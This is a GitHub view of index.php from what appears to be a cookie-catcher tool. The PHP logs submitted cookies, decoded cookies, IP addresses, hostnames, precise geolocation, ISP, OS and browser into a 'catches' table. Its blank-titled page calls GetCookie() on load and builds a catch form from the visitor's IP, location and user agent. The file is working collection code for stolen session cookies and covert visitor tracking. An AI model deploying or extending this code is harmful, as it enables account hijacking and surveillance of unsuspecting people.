-
Notifications
You must be signed in to change notification settings - Fork 8
/
index.php
41 lines (37 loc) · 1.42 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
require_once("Core/init.php");
$Database = new Database();
if(Input::Exists()) {
$Database::Insert("catches", array(
"id" => Hash::Make(),
"cookie" => (Input::Get("cookie-value") !== null && !empty(Input::Get("cookie-value"))) ? Input::Get("cookie-value") : "No cookie set",
"decoded_cookie" => (Input::Get("decoded-cookie") !== null && !empty(Input::Get("decoded-cookie"))) ? Input::Get("decoded-cookie") : "Nothing to decode",
"ip_address" => Input::Get("ip-address"),
"user_agent" => Input::Get("user-agent"),
"local_hostname" => Input::Get("local-hostname"),
"hostname" => Input::Get("hostname"),
"city" => Input::Get("city"),
"region" => Input::Get("region"),
"country" => Input::Get("country"),
"latitude" => Input::Get("latitude"),
"longitude" => Input::Get("longitude"),
"service_provider" => Input::Get("service-provider"),
"timezone" => Input::Get("timezone"),
"location" => Input::Get("location"),
"client_os" => Input::Get("client-os"),
"client_browser" => Input::Get("client-browser"),
"catch_date" => StringFormatter::GetDateTime(false, true)
));
}
$IPAddress = Client::GetIP();
?>
<!DOCTYPE html>
<html lang="<?= getLanguage(); ?>">
<head>
<title></title>
<script src="JavaScript/Base/Generic.js"></script>
</head>
<body onload="GetCookie();">
<?php HTMLBuilder::CatchForm($IPAddress, Client::GetLocation($IPAddress), Client::GetUserAgent()); ?>
</body>
</html>